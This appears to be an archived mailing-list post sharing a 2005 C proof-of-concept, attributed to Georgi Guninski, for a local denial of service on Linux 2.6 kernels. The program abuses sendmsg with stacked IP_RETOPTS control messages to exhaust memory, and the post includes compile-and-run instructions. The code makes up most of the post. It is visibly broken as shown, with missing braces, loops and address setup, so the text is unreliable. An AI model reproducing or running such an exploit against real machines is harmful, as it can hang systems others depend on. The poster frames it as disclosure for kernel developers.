Local DoS in kernel 2.6.26

I just caught hold of a C source code from 2005. This code is a local DoS
which fills up the entire memory on Linux 2.6.N kernels.

At that time, I used Fedora Core 4 and a pentium 4 machine with 512 MB ram.
After compiling and running this program on the old machine, it used to hang
within 40 seconds.

I compiled and ran this program on a test machine having Dual Core CPU, 2 GB
ram and Debian Lenny to see if this code holds good today.

I saw that RAM wasent running out, but the CPU usage was 100%. I didnt wait
for computer to hang, but I think this code is dangerous and can be used for
malicious intentions.

I am sending the code so that we can prevent bad use of it. It still has
potential of a local DoS. I hope kernel hackers might get interested in

This code isent tested on AMD 64 bit kernel, but on a 2.6.26 stable kernel.

The C code is attached with this mail.

800df127fbcb5552a455b6742b62bfe0 mseak.c

Just gcc mseak.c -o mseak; mseak & to see the effects.

Harshad Joshi
/* memory leak
 * Copyright Georgi Guninski
 * Cannot be used in vulnerability databases (like securityfocus and mitre)
 * */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(int ac,char **av)
struct msghdr msghdr;
struct iovec iovector[10];
int i,s,j,ma;
struct sockaddr_in sockad;
char msg[128];
struct cmsghdr *cmsg,*cm2;
char opts[24];

printf("just wait and watch memory usage\n");


s=socket(PF_INET, SOCK_DGRAM, 0);
sockad.sin_family = AF_INET;

connect(s,(struct sockaddr *) &sockad, sizeof(sockad));

#define VV (ma*(sizeof(struct cmsghdr)+sizeof(opts))+1024*1024)
cmsg = malloc(VV);
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cmsg->cmsg_level = SOL_IP;
cmsg->cmsg_type = IP_RETOPTS;
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts));

cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cm2)+sizeof(opts));

cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len = sizeof(struct cmsghdr) + 8;

msghdr.msg_name = &sockad;
msghdr.msg_namelen = sizeof(sockad);

msghdr.msg_controllen= cmsg->cmsg_len + (j)*cmsg->cmsg_len+cm2->cmsg_len;
msghdr.msg_iov = iovector;

msghdr.msg_iovlen = 1;
iovector[0].iov_base = msg;
iovector[0].iov_len = sizeof(msg);

if ((i = sendmsg(s, &msghdr, 0)) < 0)
{perror("sendmsg");return -42;}

return 42;

Relevant Pages